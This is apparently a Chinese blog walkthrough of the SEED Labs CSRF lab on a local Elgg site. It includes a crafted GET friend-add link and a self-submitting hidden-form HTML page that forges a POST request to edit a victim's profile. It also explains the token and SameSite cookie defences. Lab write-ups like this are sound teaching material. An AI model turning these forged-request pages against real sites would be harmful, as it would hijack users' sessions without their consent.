SEEDLabs- CSRF Attack

*^ˇ^*

已于 2023-09-05 10:44:47 修改

阅读量614

点赞数 1

文章标签： csrf 前端

于 2023-09-05 10:42:32 首次发布

本文链接：https://blog.csdn.net/m0_51357657/article/details/132683522

版权

Cross-Site Request Forgery (CSRF) Attack Lab

CSRF攻击利用网站对于用户网页浏览器的信任，挟持用户当前已登陆的Web应用程序，去执行并非用户本意的操作。
可以这么来理解：攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作，比如以你的名义发送邮件、发消息，盗取你的账号，添加系统管理员，甚至于购买商品、虚拟货币转账等

Task1 Observing HTTP Request

$ sudo vim /etc/hosts

在这里插入图片描述登录elgg网站，用Charlie账户登录，向Samy发出添加好友申请
观察 HTTP 请求用到的工具为 HTTP Header Live 插件，通过监听 HTTP 头部观察GET 请求和 POST 请求。

在这里插入图片描述

Task2 CSRF Attack using GET Request

get型攻击：攻击 Elgg 的“添加好友”服务。
要将Samy加入受害者用户alice的好友列表，首先需要创建一个小号（Charlie），并添加 Samy 为 Charlie 的好友，并且利用 HTTP Header Live 工具观察 HTTP 报文头
在这里插入图片描述 get型攻击是基于url的
所以观察url的格式：http://www.seed-server.com/action/friends/add?friend=59
（Samy 的 id为59）

然后给受害者 alice发邮件并设置链接为：http://www.seed-server.com/action/friends/add?friend=59
还可以设置钓鱼网站，将网站中的链接改为上述url

只要受害者点击了链接，即可攻击成功：
登录alice 账户可以看到添加好友成功
在这里插入图片描述

Task3: CSRF Attack using POST Request

目的是修改Alice的profile，并且已知修改profile的方法为POST，url 为 http://www.seed-server.com/action/profile/edit

修改editprofile.html文件如下：

<html>
<body>
<h1>This page forges an HTTP POST request.</h1>
<script type="text/javascript">
 
function forge_post() {
   var fields = "";
                
   fields += "<input type='hidden' name='name' value='Alice'>";
   fields += "<input type='hidden' name='briefdescription' value='Samy is my Hero'>";
   fields += "<input type='hidden' name='name' value='Alice'>";
   fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
   fields += "<input type='hidden' name='guid' value='56'>";
 
   var p = document.createElement("form");
   p.action = "http://www.seed-server.com/action/profile/edit";
   p.innerHTML = fields;
   p.method = "post";
 
   document.body.appendChild(p);
   p.submit();
}
 
window.onload = function() { forge_post(); }
</script>
<body>
</html>

同样是设置钓鱼链接：http://www.attacker32.com/editprofile.html

如果受害者点击该链接即攻击成功：可以看到alice的 desc 已被修改
在这里插入图片描述
Q1: 更新主页的POST请求中有个GUID参数。Boby不知道Alice的密码，它怎么知道Alice的GUID是多少？

A1: 1、添加Alice为好友时，利用Header live查看请求也能够确定Alice的id。总之可以与Alice 互动时观察报文获得
2、用户列表就有ID，查看网页源代码就行
Q2: 假设Boby不知道是谁在访问恶意网页，那他是否可能用CSRF攻击来修改它的主页简介呢？

A2: 应该可以。如果网站对guid和name不做校验，而是只用cookie来得知要修改主页的用户的话，那么上面的攻击方式无需修改，在这个场景下也能攻击成功。如果做了校验，可以参取暴力枚举所有用户修改主页的POST请求，也可以攻击成功。

Task4 Enabling Elgg’s Countermeasure

开启防御，删除return注释，即执行防御的函数：
在这里插入图片描述
函数比较长，就不全贴了，大致就是：
每个用户操作都调用Csrf.php中的validate函数函数验证令牌。如果令牌不存在或无效，该操作将被拒绝，用户将被拒绝被重定向。而令牌是用户访问页面后台会给前台生成随机值，只有拥有这个随机值访问当前页面上的接口，后台才认，CSRF无法构造这个随机值。因为HTML标签产生的合法跨域是单向的，无法通过CSRF直接取返回的内容，所以我们不能使用CSRF先取Token值再构造请求，所以Token可以起到防御CSRF的作用。

再次执行 task2中的操作：失败
在这里插入图片描述

Task5 Experimenting with the SameSite Cookie Method

SameSite Cookie是一种可以防御 CSRF的第三方cookie

来自当前网站以外域名的 cookie 被称为第三方 cookie。
在这里插入图片描述
所以可以看到接下来的跨站请求都被发现且阻拦

因为默认 SameSite=None 时才是安全的
可以看到下面检测出 SameSite 的值有 aaaa, bbbb等均是cross-site
在这里插入图片描述
get类型的csrf漏洞，原本可以通过img/script等标签完成攻击，但由于SameSite=Lax属性，攻击无法生效

在这里插入图片描述
其中：

Strict
完全禁止跨站传递Cookie，比如A网站通过超链接跳转B网站也不行，必须用户手动输入这个B网站浏览器才允许使用B网站的Cookie。
过于严格，很少使用。
Lax
相对宽松(reLax)的规则，大部分情况也不允许跨站传递Cookie，但是对于较为安全的场景：超链接跳转，get类型的Form表单，是允许的。
这个模式是大部分浏览器的SameSite的默认取值（当服务端SetCookie没有制定SameSite时，大部分现代浏览器会默认使用Lax）。
使用Lax已经能够杜绝CSRF攻击。
None
完全没有限制。
老版本浏览器默认仍然会使用None作为SameSite的默认取值。
大部分现代浏览器默认是Lax。
以及None默认过于危险，如果要使用SameSite=None则浏览器会要求网站服务使用https才行。

SameSite能不能抵御攻击？
1、浏览器SameSite默认属性并不能完全防止CSRF攻击，超链接访问、form表单提交到新页面等攻击方式依然有效

2、敏感业务可以设置cookie属性SameSite=Strict，防止来自站外攻击

*^ˇ^*

关注

1
点赞
踩
9

收藏

觉得还不错? 一键收藏
1
评论
SEEDLabs- CSRF Attack

CSRF攻击利用网站对于用户网页浏览器的信任，挟持用户当前已登陆的Web应用程序，去执行并非用户本意的操作。可以这么来理解：攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作，比如以你的名义发送邮件、发消息，盗取你的账号，添加系统管理员，甚至于购买商品、虚拟货币转账等。
复制链接

扫一扫